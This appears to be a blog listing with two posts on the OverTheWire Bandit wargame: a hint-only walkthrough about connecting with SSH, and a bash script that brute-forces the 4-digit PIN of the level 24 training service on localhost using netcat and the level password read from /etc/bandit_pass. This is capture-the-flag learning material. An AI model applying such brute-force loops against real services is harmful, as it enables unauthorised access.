Posts

Showing posts with the label bandit

OverTheWire[.com] Bandit Walkthrough - JUST HINT, NO SPOILERS

overthewire bandit walkthrough - JUST HINT, NO SPOILERS, just all the hints you need. I made this walkthrough for people like me, i needed some help here and there, but didnt want the spoiler, and even some blogs like  https://www.yalpski.net/  (mentioned with appreciation) that have the solution collapsed, there is no help if i dont know what to do, just need some pointers. so lets go game portal is http://overthewire.org/wargames/bandit/ Bandit The bandit  game is mostly introduction to ssh, bash shell and their tricks Pre Level 0: Connect to SSH If you use linux, your command is " ssh " and thats it. For windows you'll need to download a software, it's in the Level 0 hints  (wikihow) eventually you need to learn more about the ssh command, but the basic is that connection is defined as " ssh <user>@<domain> -p <port> " CTRL+C to break process, CTRL+D to exit from current user's shell I wrote this one down since i co...

OverTheWire Bandit24 script

rm out p=`cat /etc/bandit_pass/bandit24` echo $p ln=$"\r\n" echo "0-999" i=0 until [ $i == 1000 ] do   n="0$i";   until [ ${#n} == 4 ]   do     n="0$n"   done   echo "$p $n"   res=$(echo -n "$p $n" | nc localhost 30002) >> out   echo "res: $ln $res"   ((i++))   if [[ $res =~ .*Correct.* ]]   then     i=25000     break n   fi done until [ $i == 10000 ] do   echo "$p $i"   res=$(echo -n "$p $i" | nc localhost 30002) >> out   echo "res: $ln $res"   if [[ $res =~ .*Correct.* ]]   then     break n   fi   ((i++)) done